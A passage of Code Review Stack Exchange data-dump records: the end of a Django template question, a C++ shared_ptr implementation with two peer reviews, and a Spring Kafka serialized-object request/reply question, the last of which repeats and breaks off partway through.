{% block content %}
<div class="container">
<h1>La liste des gazoile archivé </h1>
<ul>
{% for date in date_list %}
<li>{{ date|date }}</li>
{% endfor %}
</ul>
<div>
<h1>All Refuels for {{ year|date:"Y" }}</h1>
{% regroup object_list by vehicle_id as vehicle_refuel %}
<ul>
{% for vehicle_id in vehicle_refuel %}
<p>
<li>Les pleints fait pour {{ vehicle_id.grouper}} sont:</li>
</p>
<table border="2">
<thead class="table-dark">
<th colspan="2">Driver name :</th>
<th>Driver number :</th>
<th>Gaz Station : </th>
<th>Date :</th>
<th>Kilometrage :</th>
<th>Quantity of Fuel: </th>
<th>Litre Price (Dh): </th>
<th>Totale (Dh)</th>
<th>City</th>
</thead>
<tbody id="body-table"><tr>
{% for refuel in vehicle_id.list %}
<tr>
<td colspan="2">{{ refuel.driver_id.first_name}} {{ refuel.driver_id.last_name }}</td>
<td>{{ refuel.driver_id.registration_number }}</td>
<td>{{ refuel.gaz_station_id.name}}</td>
<td>{{ refuel.date_time_creation }}</td>
<td>{{ refuel.odometer_reading }}</td>
<td>{{ refuel.fuel_quantity }}</td>
<td>{{ refuel.fuel_unit_price }}</td>
<td>{{ refuel.fuel_quantity|mul:refuel.fuel_unit_price }}</td>
<td>{{ refuel.gaz_station_id.city_id.city }}</td>
</tr>
{% endfor %}
</tbody>
{% endfor %}
</ul>
</div>
</div>
{% endblock content %}
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T20:18:32.787",
"Id": "255423",
"Score": "0",
"Tags": [
"python",
"django",
"django-template-language"
],
"Title": "using a Built-in template tag \"regroup\" take long time to render result"
}
|
255423
|
<p>Recently, I've been going through Scott Meyer's <a href="https://rads.stackoverflow.com/amzn/click/com/1491903996" rel="noreferrer" rel="nofollow noreferrer"><em>Effective Modern C++</em></a> and found the discussion on <code>shared_ptr</code> really interesting. I also watched Louis Brandy's <a href="https://www.youtube.com/results?search_query=curiously+recurring+c%2B%2B+bugs+at+facebook" rel="noreferrer">Curiously Recurring C++ Bugs at Facebook</a> talk which also had some details about how <code>shared_ptr</code> works, and I thought it would be fun to implement my own to see if I actually understood it.</p>
<p><strong>Here is my implementation of <code>shared_ptr</code> and <code>make_shared</code>: <a href="https://godbolt.org/z/8Yec9K" rel="noreferrer">https://godbolt.org/z/8Yec9K</a></strong></p>
<pre><code>#include <iostream>
#include <functional>
#include <vector>
template <typename T>
class SharedPtr {
public:
using DeleteFunctionType = std::function<void(T*)>;
explicit SharedPtr():
val_(nullptr),
ctrlBlock_(nullptr)
{
}
explicit SharedPtr(std::nullptr_t,
DeleteFunctionType = [](T* val) {
delete val;
}):
val_(nullptr),
ctrlBlock_(nullptr)
{
}
explicit SharedPtr(T* val,
DeleteFunctionType deleteFunction = [](T* val) {
delete val;
}):
val_(val),
ctrlBlock_(new ControlBlock(1, std::move(deleteFunction)))
{
}
~SharedPtr() {
if (val_ == nullptr) {
return;
}
if (--ctrlBlock_->refCount <= 0) {
ctrlBlock_->deleteFunction(val_);
delete ctrlBlock_;
val_ = nullptr;
ctrlBlock_ = nullptr;
}
}
SharedPtr(const SharedPtr& rhs):
val_(rhs.val_),
ctrlBlock_(rhs.ctrlBlock_)
{
if (ctrlBlock_ != nullptr) {
++ctrlBlock_->refCount;
}
}
SharedPtr& operator=(SharedPtr rhs) {
swap(rhs);
return *this;
}
void swap(SharedPtr& rhs) {
using std::swap;
swap(val_, rhs.val_);
swap(ctrlBlock_, rhs.ctrlBlock_);
}
bool operator==(const SharedPtr& rhs) const {
return val_ == rhs.val_ && ctrlBlock_ == rhs.ctrlBlock_;
}
T* get() const {
return val_;
}
T& operator*() const {
return *val_;
}
T* operator->() const {
return val_;
}
friend void swap(SharedPtr& lhs, SharedPtr& rhs) {
lhs.swap(rhs);
}
operator bool() const {
return val_ != nullptr;
}
private:
struct ControlBlock {
ControlBlock(int cnt, DeleteFunctionType fnc):
refCount(cnt),
deleteFunction(fnc)
{
}
int refCount;
DeleteFunctionType deleteFunction;
};
T* val_;
ControlBlock* ctrlBlock_;
};
template <typename T, typename... Args>
SharedPtr<T> MakeShared(Args&&... args) {
return SharedPtr<T>(new T(std::forward<Args>(args)...));
}
struct Foo {
Foo(int a, int b) : a_(a), b_(b) {}
int a_;
int b_;
void sayHello() {
std::cout << "Hello from " << *this << "\n";
}
friend std::ostream& operator<<(std::ostream& os, const Foo& rhs) {
os << "Foo(" << rhs.a_ << ", " << rhs.b_ << ")";
return os;
}
};
int main() {
{
// Basic usage
SharedPtr<Foo> c; // Default constructor
SharedPtr<Foo> a(new Foo(1,2)); // Constructor with value
auto b = a; // Copy constructor
c = b; // Assignment operator
}
{
// using custom delete
constexpr int arrSize = 10;
SharedPtr<int> a(new int[arrSize], [](auto p) {
delete[] p;
}); // custom deleter
auto b = a; // copy constructor -- make sure the custom deleter is propogated
SharedPtr<int> c;
c = a; // copy assignment
}
{
// nullptr
SharedPtr<Foo> a(nullptr);
auto b = a;
SharedPtr<Foo> c;
c = a;
}
{
// Make shared -- basic usage
SharedPtr<Foo> c; // Default constructor
auto a = MakeShared<Foo>(2, 3);
auto b = a; // Copy constructor
c = b; // Assignment operator
std::cout << "*c = " << *c << "\n";
c->sayHello();
}
{
std::vector<SharedPtr<std::vector<int>>> v;
v.emplace_back();
v.emplace_back();
v.emplace_back();
v.emplace_back();
v.emplace_back();
std::cout << v.size() << "\n";
}
}
</code></pre>
<p>Any and all review comments would be greatly appreciated. In particular, I had a few questions when comparing my implementation against the STL's:</p>
<ul>
<li>I noticed that in the STL implementation I looked at, the class and constructor are templated on different types (i.e. the constructor is implemented like: <code>template <typename T> class shared_ptr { public: template <typename U> explicit shared_ptr(U* val); };</code>) I was wondering why the both the class and the constructor need to be templated?</li>
<li>The following compiles: <code>std::shared_ptr<int[]> a(new int[10]);</code>, but the similar idea doesn't compile with my implementation. How can I fix this?</li>
<li>Is there a downside to my using an <code>std::function</code> to store the custom deleter? I noticed that the STL implementation I looked at doesn't do this, but the type erasure that <code>std::function</code> provides seem to fit in really well with how the custom deleter is supposed to work.</li>
<li>I know that <code>std::make_shared</code> is supposed to use only one allocation to allocate both the control block and the T object. I couldn't figure out how to do it in an easy way though. Is there an easy way to implement that with what I have now?</li>
</ul>
<p>I'm sure there's a lot of other bugs and mistakes with my code, and I would greatly appreciate any and all feedback. Thanks for your time!</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T22:14:36.200",
"Id": "503947",
"Score": "0",
"body": "Hello! Could you please [add the code into the post](https://codereview.meta.stackexchange.com/questions/1308/can-i-put-my-code-on-a-third-party-site-and-link-to-the-site-in-my-question)?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T22:58:37.850",
"Id": "503949",
"Score": "0",
"body": "Sorry, edited it to include the code in the post!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T18:06:23.577",
"Id": "504004",
"Score": "0",
"body": "Have a read on the articles I wrote on [SharedPtr](https://lokiastari.com/series/)"
}
] |
[
{
"body": "<h1>General stuff</h1>\n<ul>\n<li>The implementation as-is does not attempt to be thread-safe in any way. I guess this is intentional, but might cause problem and/or confusion if not communicated well.</li>\n<li>There is no <code>std::weak_ptr</code>-like analogue. Might be a new challenge to implement later ;)</li>\n<li>Move constructor (and assignment operator) would be nice for <code>SharedPtr</code>.</li>\n<li>I was first confused why the <code>SharedPtr(nullptr_t, DeleteFunctionType)</code> did not store the deleter function, but then I realized that there is no <code>reset</code>-like functionality.</li>\n<li>Many member functions of <code>SharedPtr</code> could be marked <code>noexcept</code>.</li>\n</ul>\n<p>Other than that, I can't spot anything obvious to improve. Well done!</p>\n<h1>Q & A</h1>\n<ol>\n<li><p>For one, the standard mandates it. And the standard mandates it, because it allows some metaprogramming tricks, in this case removing the constructor from overload resolution in case <code>U*</code> is not convertible to <code>T*</code>. (In general, this allows for better error messages, and might enable another overload to be a better fit in case there are equally fit overloads).</p>\n</li>\n<li><p>Add a specialization for array types: <code>template<typename T> class SharedPtr<T[]> { ... };</code>, with the corresponding array versions of the member functions.</p>\n</li>\n<li><p>Yes, it might cause a third allocation (e.g. if the deleter is a lambda with non-empty capture clause). The <code>std::shared_ptr</code> avoids this by using type erasure on the control block.</p>\n</li>\n<li><p>Well, not easy per se. It would require some design changes, mainly on the control block, and letting it actually control the lifetime of the <code>T</code> (currently, it only controls the deleter, not the <code>T</code> object itself).\nBasically, define a <code>ControlBlockBase<T></code> class, which provides the control block interface. Then create a derived <code>ControlBlockImmediate<T></code> which has an additional <code>T</code> member and necessary member functions. (This can also be used to fix the third possible allocation by <code>std::function</code>). Example:</p>\n<pre><code>template<typename T>\nclass ControlBlockBase\n{\npublic:\n virtual ~ControlBlockBase() = default;\n\n virtual T* get() const = 0;\n void addReference() { ++refCount_; }\n void removeReference() { --refCount_; }\n size_t countReferences() { return refCount_; }\nprivate:\n size_t refCount_ = 0u;\n};\n\ntemplate<typename T>\nclass ImmediateControlBlock : public ControlBlockBase<T>\n{\npublic:\n template<typename... Args>\n ImmediateControlBlock(Args&&... args)\n : immediate_(std::forward<Args>(args)...)\n {\n addReference();\n }\n\n T* get() const override { return &immediate_; }\nprivate:\n T immediate_;\n};\n\ntemplate<typename T, typename Deleter>\nclass ControlBlock : public ControlBlockBase<T>\n{\npublic:\n ControlBlock(T* ptr, Deleter deleter) : ptr_{ptr}, deleter_{deleter}\n {\n if (ptr_) addReference();\n }\n\n ~ControlBlock()\n {\n assert(countReferences() == 0u);\n if(ptr_) deleter_(ptr_);\n }\n\n T* get() const override { return ptr_; }\nprivate:\n T* ptr_;\n Deleter deleter_;\n};\n</code></pre>\n<p>Note: This could potentially be further optimized by using template metaprogramming (e.g. removing the need for virtual function calls), but should give an easy introduction to the concept.</p>\n</li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T18:19:22.793",
"Id": "504005",
"Score": "2",
"body": "Standard does not require the shared pointer to be thread safe. We have had this discussion before and we asked on SO and nopbody came up with this requirement. https://stackoverflow.com/q/65584420/14065 In general the standard does not require thread safety on the stnadrd library. You have to do that yourself."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T19:59:51.477",
"Id": "504014",
"Score": "2",
"body": "@MartinYork I added an [answer](https://stackoverflow.com/a/65983589/6467688) to that question. Basically, we're both partially correct (I didn't specify which parts should be thread-safe, and neither did you which parts shouldn't). The internal reference counting mechanism is required to be thread-safe (otherwise you could leak in multithreaded environments)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T01:01:48.190",
"Id": "504027",
"Score": "0",
"body": "nobody agreed with your point of view. Hence no votes."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-13T18:45:46.980",
"Id": "505274",
"Score": "0",
"body": "Thank you for the review and for answering my questions! I learned a lot from this!!!"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T01:31:32.220",
"Id": "255429",
"ParentId": "255424",
"Score": "6"
}
},
{
"body": "<h2>Code Review</h2>\n<p>The main purpose of the shared pointer is to prevent the leakage of pointers. Thus as soon as you hand the pointer to the shared pointer object, it becomes responsible for it and you <strong>must</strong> ensure that it is deleted.</p>\n<p>Here in the constructor that means you must protect against failures in the constructor. Note: If the constructor fails to complete, then the destructor will not run.</p>\n<p>Here you call <code>new</code> which can result in an exception being thrown which result in the constructor not completing and the destructor not being called. So this constructor will leak the pointer <code>val</code> if the <code>new</code> fails.</p>\n<pre><code>explicit SharedPtr(T* val, \n DeleteFunctionType deleteFunction = [](T* val) {\n delete val;\n }):\n val_(val),\n\n // If this new throws\n // you leak the val pointer.\n ctrlBlock_(new ControlBlock(1, std::move(deleteFunction))) \n{\n}\n</code></pre>\n<p>There are a couple of solutions. You can use a version of new that does not throw (and then check for <code>ctrlBlock_</code> being null. Alternatively you can catch the exception destroy the pointer then re-throw the exception. I like the second version (also as this gives you the opportunity to use <code>try</code>/<code>catch</code> around the whole constructor (not often used).</p>\n<pre><code>explicit SharedPtr(T* val, \n DeleteFunctionType deleteFunction = [](T* val) {\n delete val;\n })\ntry\n : val_(val)\n , ctrlBlock_(new ControlBlock(1, std::move(deleteFunction))) \n{}\ncatch(...)\n{\n deleteFunction(val_);\n throw;\n}\n</code></pre>\n<hr />\n<p>If the <code>refCount</code> drops below zero then you have a serious problem. Calling the <code>deleteFunction</code> is probably not a good idea. I would force the application to exit at this point!</p>\n<pre><code>~SharedPtr() {\n if (val_ == nullptr) {\n return;\n }\n // If the count drops below zero\n // Then you have a serious problem.\n // I would force the application to quit as you have probably already\n // called delete on the object if your code is working\n // or some other object is scribbled over the memory in this object\n // and caused a lot of other issues.\n if (--ctrlBlock_->refCount <= 0) {\n ctrlBlock_->deleteFunction(val_);\n delete ctrlBlock_;\n\n // Not a fan of setting these to null in the first place.\n // 1: Wate of time.\n // 2: Prevents detection of errors in debug version.\n //\n // BUT why are you doing this only if you delete the\n // object and the control block. If you are going to do\n // it then you should always do it.\n val_ = nullptr;\n ctrlBlock_ = nullptr;\n }\n}\n</code></pre>\n<hr />\n<p>Your swap should probably marked <code>noexcept</code>.</p>\n<pre><code>void swap(SharedPtr& rhs) noexcept {\n // ^^^^^^^ Add this.\n using std::swap;\n swap(val_, rhs.val_);\n swap(ctrlBlock_, rhs.ctrlBlock_);\n}\n</code></pre>\n<hr />\n<p>Using the swap also implement move semantics:</p>\n<pre><code> SharedPtr(SharedPtrSharedPtr&& move) noexcept\n : val_(nullptr)\n , ctrlBlock(nullptr)\n {\n swap(move);\n move = nullptr; // Force the destination to release.\n // If this was the last pointer this\n // will force deallocation of the pointed\n // at object.\n\n // BUT do this after the move to enforce the\n // strong exception gurantee.\n }\n SharedPtr& operator=(SharedPtr&& move) noexcept\n {\n swap(move);\n move = nullptr; // reset the move to potentially force a delete.\n return *this;\n }\n</code></pre>\n<hr />\n<p>The bool operator should be explicit.</p>\n<pre><code>explicit operator bool() const {\n^^^^^^^^\n return val_ != nullptr;\n}\n</code></pre>\n<p>Currently a comparison to a bool will force a conversion then do a comparison.</p>\n<pre><code>SharedPtr<int> x(new int{5});\nif (x == false) {\n // Do you want the above to compile?\n}\n\n// Or even worse\nint val = 1;\nif (x == val) {\n // Do you want the above to compile?\n // What does a comparison with int mean?\n}\n</code></pre>\n<hr />\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T20:06:06.913",
"Id": "504015",
"Score": "1",
"body": "Your move assignment changes the other operand (which likely is not intended, as it keeps the original pointee alive longer than intended). This can be fixed with `auto copy = SharedPtr(std::move(move)); swap(copy); return *this;`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T01:03:47.237",
"Id": "504028",
"Score": "1",
"body": "@hoffmale The only requirement is that the other object is left in a valid state. I can see an argument for clearing the state but I don't see a need."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T01:15:40.600",
"Id": "504029",
"Score": "1",
"body": "As a user, if `b` was the last reference to an object, I would be surprised if `b = std::move(a);` (with a staying alive) did not destroy the original pointee of `b`. (This gets exacerbated in case the pointee is large and `a` is a global.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T02:20:55.223",
"Id": "504032",
"Score": "1",
"body": "@hoffmale Yes. I agree with that. The move assignment should cause the current object to be destroyed (if it is last). Will update."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T18:37:42.947",
"Id": "255444",
"ParentId": "255424",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "255429",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T21:05:49.100",
"Id": "255424",
"Score": "6",
"Tags": [
"c++",
"c++11",
"c++17",
"pointers"
],
"Title": "shared_ptr and make_shared implementations (for learning)"
}
|
255424
|
<p>I want to implement Kafka Topic which sends and receives Serialized Java Objects based on this <a href="https://stackoverflow.com/a/65888411/1103606">example</a>.</p>
<p>I tried this:</p>
<p><em><strong>Producer Config:</strong></em></p>
<pre><code> @Configuration
public class KafkaProducerConfig {
@Value(value = "${kafka.bootstrapAddress}")
private String bootstrapAddress;
@Bean
public ProducerFactory<String, Object> requestFactoryProducerFactory() {
Map<String, Object> configProps = new HashMap<>();
configProps.put(ProducerConfig.BOOTSTRAP_SERVERS_CONFIG, bootstrapAddress);
configProps.put(ProducerConfig.KEY_SERIALIZER_CLASS_CONFIG, StringSerializer.class);
configProps.put(ProducerConfig.VALUE_SERIALIZER_CLASS_CONFIG, ObjectFactorySerializer.class);
return new DefaultKafkaProducerFactory<>(configProps);
}
@Bean
public KafkaTemplate<String, Object> requestFactoryKafkaTemplate() {
return new KafkaTemplate<>(requestFactoryProducerFactory());
}
@Bean
public ConsumerFactory<String, Object> consumerFactory() {
Map<String, Object> props = new HashMap<>();
props.put(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG, bootstrapAddress);
props.put(ConsumerConfig.GROUP_ID_CONFIG, "tp-sale.reply");
props.put(ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class);
props.put(ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, ObjectFactoryDeserializer.class);
return new DefaultKafkaConsumerFactory<>(props);
}
@Bean
public ConcurrentKafkaListenerContainerFactory<String, Object> kafkaListenerContainerFactory() {
ConcurrentKafkaListenerContainerFactory<String, Object> factory =
new ConcurrentKafkaListenerContainerFactory<>();
factory.setConsumerFactory(consumerFactory());
return factory;
}
@Bean
public ReplyingKafkaTemplate<String, Object, Object> replyKafkaTemplate(ProducerFactory<String, Object> producerFactory, ConcurrentKafkaListenerContainerFactory<String, Object> factory) {
ConcurrentMessageListenerContainer<String, Object> kafkaMessageListenerContainer = factory.createContainer("tp-sale.reply");
ReplyingKafkaTemplate<String, Object, Object> requestReplyKafkaTemplate = new ReplyingKafkaTemplate<>(producerFactory, kafkaMessageListenerContainer);
requestReplyKafkaTemplate.setDefaultTopic("tp-sale.reply");
return requestReplyKafkaTemplate;
}
}
</code></pre>
<p><em><strong>Producer:</strong></em></p>
<pre><code>@RestController
@RequestMapping("/checkout")
public class CheckoutController {
private static final Logger LOG = LoggerFactory.getLogger(CheckoutController.class);
private KafkaTemplate<String, Object> requestFactoryKafkaTemplate;
private ReplyingKafkaTemplate<String, Object, Object> requestReplyKafkaTemplate;
@Autowired
public CheckoutController(KafkaTemplate<String, Object> requestFactoryKafkaTemplate,
ReplyingKafkaTemplate<String, Object, Object> requestReplyKafkaTemplate){
this.requestFactoryKafkaTemplate = requestFactoryKafkaTemplate;
this.requestReplyKafkaTemplate = requestReplyKafkaTemplate;
}
@PostMapping("sale_test")
public void performSaleTest() throws ExecutionException, InterruptedException, TimeoutException {
SaleRequestFactory obj = new SaleRequestFactory();
obj.setId(100);
ProducerRecord<String, Object> record = new ProducerRecord<>("tp-sale.request", obj);
RequestReplyFuture<String, Object, Object> replyFuture = requestReplyKafkaTemplate.sendAndReceive(record);
SendResult<String, Object> sendResult = replyFuture.getSendFuture().get(10, TimeUnit.SECONDS);
ConsumerRecord<String, Object> consumerRecord = replyFuture.get(10, TimeUnit.SECONDS);
SaleResponseFactory value = (SaleResponseFactory) consumerRecord.value();
System.out.println("!!!!!!!!!!!! " + value.getUnique_id());
}
@PostMapping("authorize_test")
public void performAuthTest() throws ExecutionException, InterruptedException, TimeoutException {
AuthRequestFactory obj = new AuthRequestFactory();
obj.setId(140);
ProducerRecord<String, Object> record = new ProducerRecord<>("tp-sale.request", obj);
RequestReplyFuture<String, Object, Object> replyFuture = requestReplyKafkaTemplate.sendAndReceive(record);
SendResult<String, Object> sendResult = replyFuture.getSendFuture().get(10, TimeUnit.SECONDS);
ConsumerRecord<String, Object> consumerRecord = replyFuture.get(10, TimeUnit.SECONDS);
AuthResponseFactory value = (AuthResponseFactory) consumerRecord.value();
System.out.println("!!!!!!!!!!!! " + value.getUnique_id());
}
}
</code></pre>
<p><em><strong>ObjectFactoryDeserializer</strong></em></p>
<pre><code> public class ObjectFactoryDeserializer implements Deserializer<Object> {
@Override
public Object deserialize(String topic, byte[] data) {
return null;
}
@Override
public Object deserialize(String topic, Headers headers, byte[] data) {
ByteArrayInputStream bais = new ByteArrayInputStream(data);
try (ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
catch (IOException e) {
throw new UncheckedIOException(e);
}
catch (ClassNotFoundException e) {
throw new IllegalStateException(e);
}
}
}
</code></pre>
<p><em><strong>ObjectFactorySerializer</strong></em></p>
<pre><code>public class ObjectFactorySerializer implements Serializer<Object> {
@Override
public byte[] serialize(String topic, Object data) {
return null;
}
@Override
public byte[] serialize(String topic, Headers headers, Object data) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(data);
return baos.toByteArray();
}
catch (IOException e) {
throw new UncheckedIOException(e);
}
}
}
</code></pre>
<p><em><strong>Consumer configuration:</strong></em></p>
<pre><code>@EnableKafka
@Configuration
public class KafkaConsumerConfig {
@Value(value = "${kafka.bootstrapAddress}")
private String bootstrapAddress;
@Bean
public ConsumerFactory<String, Object> consumerFactory() {
Map<String, Object> props = new HashMap<>();
props.put(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG, bootstrapAddress);
props.put(ConsumerConfig.GROUP_ID_CONFIG, "tp-sale.request");
props.put(ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class);
props.put(ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, ObjectFactoryDeserializer.class);
return new DefaultKafkaConsumerFactory<>(props);
}
@Bean
public ProducerFactory<String, Object> saleResponseFactoryProducerFactory() {
Map<String, Object> configProps = new HashMap<>();
configProps.put(ProducerConfig.BOOTSTRAP_SERVERS_CONFIG, bootstrapAddress);
configProps.put(ProducerConfig.KEY_SERIALIZER_CLASS_CONFIG, StringSerializer.class);
configProps.put(ProducerConfig.VALUE_SERIALIZER_CLASS_CONFIG, ObjectFactorySerializer.class);
return new DefaultKafkaProducerFactory<>(configProps);
}
@Bean
public ConcurrentKafkaListenerContainerFactory<String, Object> kafkaListenerContainerFactory() {
ConcurrentKafkaListenerContainerFactory<String, Object> factory = new ConcurrentKafkaListenerContainerFactory<>();
factory.setConsumerFactory(consumerFactory());
factory.setReplyTemplate(saleResponseFactoryKafkaTemplate());
return factory;
}
@Bean
public KafkaTemplate<String, Object> saleResponseFactoryKafkaTemplate() {
return new KafkaTemplate<>(saleResponseFactoryProducerFactory());
}
}
</code></pre>
<p><em><strong>Consumer</strong></em></p>
<pre><code>@Component
@KafkaListener(id = "tp-sale.request", topics = "tp-sale.request")
public class ConsumerListener {
private static final Logger LOGGER = LoggerFactory.getLogger(ConsumerListener.class);
@KafkaHandler
@SendTo("tp-sale.reply")
public AuthResponseFactory fooListener(AuthRequestFactory authRequestFactory) {
System.out.println("In AuthRequestFactoryListener: " + authRequestFactory);
AuthResponseFactory resObj = new AuthResponseFactory();
resObj.setUnique_id("123123");
return resObj;
}
@KafkaHandler
@SendTo("tp-sale.reply")
public SaleResponseFactory barListener(SaleRequestFactory saleRequestFactory) {
System.out.println("In SaleRequestFactoryListener: " + saleRequestFactory);
SaleResponseFactory resObj = new SaleResponseFactory();
resObj.setUnique_id("123123");
return resObj;
}
}
</code></pre>
<p>Full minimal working <a href="https://github.com/rcbandit111/skyobject_engine" rel="nofollow noreferrer">example</a></p>
<p>When I hit the endpoint <code>authorize_test</code> the code is working fine.</p>
<p>When I hit the endpoint <code>sale_test</code> the code is working fine.</p>
<p>Do you know how I can improve this proof of concept? Do you see any workflows into the code that I need to improve?</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T23:22:18.490",
"Id": "255426",
"Score": "1",
"Tags": [
"java",
"spring",
"apache-kafka"
],
"Title": "Implement Kafka Communication with Serialized Java objects"
}
|
255426
|
<p>I want to implement Kafka Topic which sends and receives Serialized Java Objects based on this <a href="https://stackoverflow.com/a/65888411/1103606">example</a>.</p>
<p>I tried this:</p>
<p><em><strong>Producer Config:</strong></em></p>
<pre><code> @Configuration
public class KafkaProducerConfig {
@Value(value = "${kafka.bootstrapAddress}")
private String bootstrapAddress;
@Bean
public ProducerFactory<String, Object> requestFactoryProducerFactory() {
Map<String, Object> configProps = new HashMap<>();
configProps.put(ProducerConfig.BOOTSTRAP_SERVERS_CONFIG, bootstrapAddress);
configProps.put(ProducerConfig.KEY_SERIALIZER_CLASS_CONFIG, StringSerializer.class);
configProps.put(ProducerConfig.VALUE_SERIALIZER_CLASS_CONFIG, ObjectFactorySerializer.class);
return new DefaultKafkaProducerFactory<>(configProps);
}
@Bean
public KafkaTemplate<String, Object> requestFactoryKafkaTemplate() {
return new KafkaTemplate<>(requestFactoryProducerFactory());
}
@Bean
public ConsumerFactory<String, Object> consumerFactory() {
Map<String, Object> props = new HashMap<>();
props.put(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG, bootstrapAddress);
props.put(ConsumerConfig.GROUP_ID_CONFIG, "tp-sale.reply");
props.put(ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class);
props.put(ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, ObjectFactoryDeserializer.class);
return new DefaultKafkaConsumerFactory<>(props);
}
@Bean
public ConcurrentKafkaListenerContainerFactory<String, Object> kafkaListenerContainerFactory() {
ConcurrentKafkaListenerContainerFactory<String, Object> factory =
new ConcurrentKafkaListenerContainerFactory<>();
factory.setConsumerFactory(consumerFactory());
return factory;
}
@Bean
public ReplyingKafkaTemplate<String, Object, Object> replyKafkaTemplate(ProducerFactory<String, Object> producerFactory, ConcurrentKafkaListenerContainerFactory<String, Object> factory) {
ConcurrentMessageListenerContainer<String, Object> kafkaMessageListenerContainer = factory.createContainer("tp-sale.reply");
ReplyingKafkaTemplate<String, Object, Object> requestReplyKafkaTemplate = new ReplyingKafkaTemplate<>(producerFactory, kafkaMessageListenerContainer);
requestReplyKafkaTemplate.setDefaultTopic("tp-sale.reply");
return requestReplyKafkaTemplate;
}
}
</code></pre>
<p><em><strong>Producer:</strong></em></p>
<pre><code>@RestController
@RequestMapping("/checkout")
public class CheckoutController {
private static final Logger LOG = LoggerFactory.getLogger(CheckoutController.class);
private KafkaTemplate<String, Object> requestFactoryKafkaTemplate;
private ReplyingKafkaTemplate<String, Object, Object> requestReplyKafkaTemplate;
@Autowired
public CheckoutController(KafkaTemplate<String, Object> requestFactoryKafkaTemplate,
ReplyingKafkaTemplate<String, Object, Object> requestReplyKafkaTemplate){
this.requestFactoryKafkaTemplate = requestFactoryKafkaTemplate;
this.requestReplyKafkaTemplate = requestReplyKafkaTemplate;
}
@PostMapping("sale_test")
public void performSaleTest() throws ExecutionException, InterruptedException, TimeoutException {
SaleRequestFactory obj = new SaleRequestFactory();
obj.setId(100);
ProducerRecord<String, Object> record = new ProducerRecord<>("tp-sale.request", obj);
RequestReplyFuture<String, Object, Object> replyFuture = requestReplyKafkaTemplate.sendAndReceive(record);
SendResult<String, Object> sendResult = replyFuture.getSendFuture().get(10, TimeUnit.SECONDS);
ConsumerRecord<String, Object> consumerRecord = replyFuture.get(10, TimeUnit.SECONDS);
SaleResponseFactory value = (SaleResponseFactory) consumerRecord.value();
System.out.println("!!!!!!!!!!!! " + value.getUnique_id());
}
@PostMapping("authorize_test")
public void performAuthTest() throws ExecutionException, InterruptedException, TimeoutException {
AuthRequestFactory obj = new AuthRequestFactory();
obj.setId(140);
ProducerRecord<String, Object> record = new ProducerRecord<>("tp-sale.request", obj);
RequestReplyFuture<String, Object, Object> replyFuture = requestReplyKafkaTemplate.sendAndReceive(record);
SendResult<String, Object> sendResult = replyFuture.getSendFuture().get(10, TimeUnit.SECONDS);
ConsumerRecord<String, Object> consumerRecord = replyFuture.get(10, TimeUnit.SECONDS);
AuthResponseFactory value = (AuthResponseFactory) consumerRecord.value();
System.out.println("!!!!!!!!!!!! " + value.getUnique_id());
}
}
</code></pre>
<p><em><strong>ObjectFactoryDeserializer</strong></em></p>
<pre><code> public class ObjectFactoryDeserializer implements Deserializer<Object> {
@Override
public Object deserialize(String topic, byte[] data) {
return null;
}
@Override
public Object deserialize(String topic, Headers headers, byte[] data) {
ByteArrayInputStream bais = new ByteArrayInputStream(data);
try (ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
catch (IOException e) {
throw new UncheckedIOException(e);
}
catch (ClassNotFoundException e) {
throw new IllegalStateException(e);
}
}
}
</code></pre>
<p><em><strong>ObjectFactorySerializer</strong></em></p>
<pre><code>public class ObjectFactorySerializer implements Serializer<Object> {
@Override
public byte[] serialize(String topic, Object data) {
return null;
}
@Override
public byte[] serialize(String topic, Headers headers, Object data) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(data);
return baos.toByteArray();
}
catch (IOException e) {
throw new UncheckedIOException(e);
}
}
}
</code></pre>
<p><em><strong>Consumer configuration:</strong></em></p>
<pre><code>@EnableKafka
@Configuration
public class KafkaConsumerConfig {
@Value(value = "${kafka.bootstrapAddress}")
private String bootstrapAddress;
@Bean
public ConsumerFactory<String, Object> consumerFactory() {
Map<String, Object> props = new HashMap<>();
